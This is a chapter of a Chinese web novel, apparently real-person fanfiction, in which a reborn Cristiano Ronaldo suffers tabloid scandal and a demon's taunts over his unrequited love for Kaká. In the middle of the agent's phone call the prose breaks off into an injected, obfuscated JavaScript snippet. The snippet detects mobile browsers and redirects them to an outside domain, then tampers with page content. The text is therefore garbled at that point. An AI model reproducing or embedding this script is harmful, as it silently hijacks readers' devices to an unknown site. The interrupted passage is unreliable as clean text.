酒店一楼的玻璃墙内，明亮的灯光拂过两人的面颊，一人挽着另一人的手，一人为另一人掸去肩上的雨水。
酒店外一人举着黑伞，转身落寞离开，地上的泥泞溅上了他白色的鞋。
《太阳报》巨大的标题横贯版面——《雨夜守望者：C罗竟为卡卡痴缠不休》。
雨滴敲击玻璃窗的声音将克里斯从浅眠中惊醒。他下意识地摸向身旁，空荡荡的床铺提醒着他又是一个独自醒来的清晨。
手机屏幕上显示着清晨六点十分，距离他狼狈地从卡卡所在的酒店逃回来，才过去了不到四个小时。
他揉着酸胀的太阳穴起身，赤脚踩在冰凉的大理石地板上走向客厅。
昨晚的画面犹如曼彻斯特绵延不断的雨，一滴一滴侵蚀着克里斯的心，盘旋脑海中挥之不去：卡卡和卡洛琳并肩檐下、卡卡和卡洛琳微笑着递给他那把黑伞、卡卡和卡洛琳转身挽着手走进酒店去、卡卡自始至终的彬彬有礼、卡洛琳从头到尾的天使般的笑容，还有自己最后犹如丧家之犬，落荒而逃的狼狈模样……
克里斯的手握着旋转楼梯的胡桃木扶手，冰凉的感觉浸入手心，他越抓越紧，手上的青筋隐约欲见，每一次跳动都牵动着那一颗怀有余悸的心。
“早安，还剩十小时的幸运儿。”恶魔的声音从房间角落飘来，带着一贯的讥诮，“准备好迎接新一天的折磨了吗？”
克里斯无视他的存在，径直走向门前去取报纸。
克里斯自知上一世可是吃了不少没文化的亏，虽然商业头脑发达，但是有时想起自己的学历，还是有些遗憾。他决定这一世——如果能活下去——先从多读书多看报做起，不要把大把时间都浪费在做驰骋声色场合的花花公子。
今天有几家报纸已经早早送达，他深吸一口气，开门，却一眼瞥见《泰晤士报》下面压着的太阳报。
头版照片让他呼吸一滞——
《雨夜守望者：C罗竟为卡卡痴缠不休？》
巨大的标题后的背景是昨晚他被抓拍到的照片。
雨水模糊了他的面容，他独自站在雨中望向酒店，身影在夜色中显得格外孤独落寞。右边则是卡卡和卡洛琳站在明亮大堂里的温馨侧影，卡洛琳正微笑着为卡卡拂去肩上的雨水。
克里斯的手指微微发抖，他快速浏览着文章内容。记者极尽渲染之能事，将他描述成一个对卡卡有着不正常执念的年轻球员，而卡卡和卡洛琳则成了被骚扰的受害者。
“写得真动人，不是吗？”恶魔不知何时飘到了他身后，假惺惺地感叹，“连我都要被你的痴情打动了。当然，如果你的时间不是正在一分一秒地减少的话。”
克里斯狠狠将报纸摔在桌上，又拿起另外几份。
大多数小报都在跟风报道类似的内容，但有一篇专栏文章让他稍感意外。那位记者在批评他行为失当的同时，也写道：“看着C罗在雨中的孤独身影，很难不让人联想到一场盛大而绝望的单恋。或许我们不该如此苛刻地评判一个显然正在经历情感困境的年轻人。”
盛大而绝望的单恋？
评价得简直入木三分。
AC米兰刚败在曼联手下，3:2客场失利，在剑拔弩张的欧冠八分之一决赛首回合之后，克里斯作为曼联球员，深夜被拍到和卡卡同框，二人并不亲密，不像朋友。克里斯自己被媒体说成痴缠卡卡、被说成干扰客队主力私生活、被说成破坏他人幸福的混蛋……他都认了。无奈地认了。
可是卡卡即将启程回米兰，要一直等到五月二号，AC米兰主场对曼联，克里斯才能与卡卡重见——克里斯快疯了，中间的这将近十天见不到卡卡的日子，他的生命该如何延续？难道重生回来，和卡卡踢一场2007年四月二十四号的欧冠八分之一决赛首回合之后，他的生命就该被收回吗？他的挚爱在他离开之后，还是永远深爱着别人吗？
克里斯忽然想到，如果自己死了，现在的卡卡会很难过吗？会来自己的葬礼吗？
“还在这儿伤春悲秋呢，你也真是有时间，”恶魔幻化出实体，拍了拍克里斯的肩膀，“不如想想办法，或者和我再做个交易。”
克里斯深知和恶魔的交易，必然又要付出巨大的代价，于是倚着门框短暂地沉默了，静静地看着远处的钟楼后熹微的晨光从昏暗的云层后面透出来——克里斯不知道自己还有多少个早晨能看到这样的天光。
忽然，他的诺基亚响了起来，打破清晨难得的平静——是经纪人门德斯。
“克里斯，你看新闻了吗？”经纪人的声音听起来疲惫不堪，“俱乐部刚刚通知我，暂时取消你接下来两周的所有公开商业活动。阿玛尼的广告拍摄延期了，耐克的宣传活动也暂时搁置。”
克里斯闭上眼睛，疲惫地靠在墙上，本来生命就离终结不久了，这些商业活动自然是能不参加就不参加，正合克里斯的意，可是对面的门德斯仿佛还有什么事没说。
“还有更糟的吗？”
“弗爵爷非常不高兴。他今早给我打了电话，要求你必须‘立刻停止所有可能引起误解的行为’。我建议你这几天保持低调，除了卡灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360913|183672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顿训练基地，不要出现在任何公众场合。”
通话结束后，克里斯将手机扔在沙发上。商业代言的暂停意味着巨大的经济损失，但他不以为意，唯一让他心痛的是弗格森的失望。
“事情变得严重了呢。”恶魔咂咂嘴，“未来的巨星克里斯蒂亚诺·罗纳尔多，职业生涯和生命，你选哪一个呢？”
“闭嘴。”克里斯低吼道，声音沙哑。
卡林顿基地上午的训练课上，气氛明显不同往常。
克里斯能感觉到队友们投来的目光变得微妙而复杂。鲁尼今天只是简短地和他打了个招呼，就匆匆去热身了。其他队友也有意无意地避免与他过多交流。
“嘿，克里斯，”训练间隙，费迪南德走过来，语气谨慎，“那些报纸上写的……你还好吧？”
克里斯勉强笑了笑，“我很好，谢谢你。只是媒体又在编故事了。”
费迪南德拍拍他的肩，“如果需要聊聊，我随时都在。”
上午的训练结束后，克里斯独自留在训练场上加练射门。每一次大力抽射都仿佛在发泄内心的郁闷。
足球重重地撞在球网上，发出沉闷的声响。
恶魔见空荡荡的球场上只剩他一人，也就不隐藏身形，充当守门员，一下又一下轻松让克里斯的球在进入门框之前转变了方向。
克里斯本就郁结，隐隐的怒意在恶魔的作弄下燃烧起来。
恶魔见状，飘到他身边，低语道：“也许你应该考虑考虑我的建议，让那个未婚妻出点小意外？”
克里斯猛地一脚将球轰向球门，足球狠狠击中横梁后弹回。“闭嘴！如果我变成那种用阴谋得到他的人，那和杀死我自己没有区别！”
恶魔无奈地扇了扇翅膀，离满怀怒火的克里斯远一些。
克里斯不停地将足球灌进球门，核心和腿部肌肉收紧又放松、放松又收紧。
不知道过了多久，克里斯终于筋疲力尽，往地上一坐，仰躺在训练场上，身体周围是曼彻斯特四月底的春草，含着生机与活力在一场一场雨中生长，包裹着生命所剩无几的克里斯。
克里斯无法直视正午的太阳，翻身侧过去，青草拂过脸颊，就像上一世自己离开贫民窟踢球的那天，离别时候母亲在他脸颊上最后的抚摸。
他的身体弓起来，双手无力的掩面——从掌心流下的热泪，彰示着无声的崩溃。
就在这时，克里斯的手机震动了一下。
是一条来自陌生号码的短信。
“克里斯，我们需要谈谈。”